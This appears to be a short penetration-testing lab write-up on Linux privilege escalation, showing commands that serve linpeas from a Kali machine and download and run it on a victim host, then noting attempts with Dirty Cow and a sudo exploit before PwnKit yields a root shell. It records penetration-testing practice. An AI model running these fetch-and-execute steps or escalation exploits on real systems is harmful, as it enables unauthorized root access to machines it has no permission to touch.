Privilege escalation [Got] [Own]

Loading linpeas:

# in kali linux
python3 -m http.server 80 -d $(dirname $(locate linpeas.sh))


# in victim machine
cd /tmp
wget http://192.168.45.219/linpeas.sh
chmod a+x linpeas.sh
./linpeas.sh

There is lots of suggested exploit.

Trying Dirty Cow Exploit

Transfert the file.

Gcc is not there :-(

Trying Python sudo exploit.

Trying Pwnkit vulnerability [Worked]

Below is the original command:

I will download .sh file first in kali linux and start the server.

Run below command in victim machine...

After running the above command you will get the shell as root.

Last updated

Was this helpful?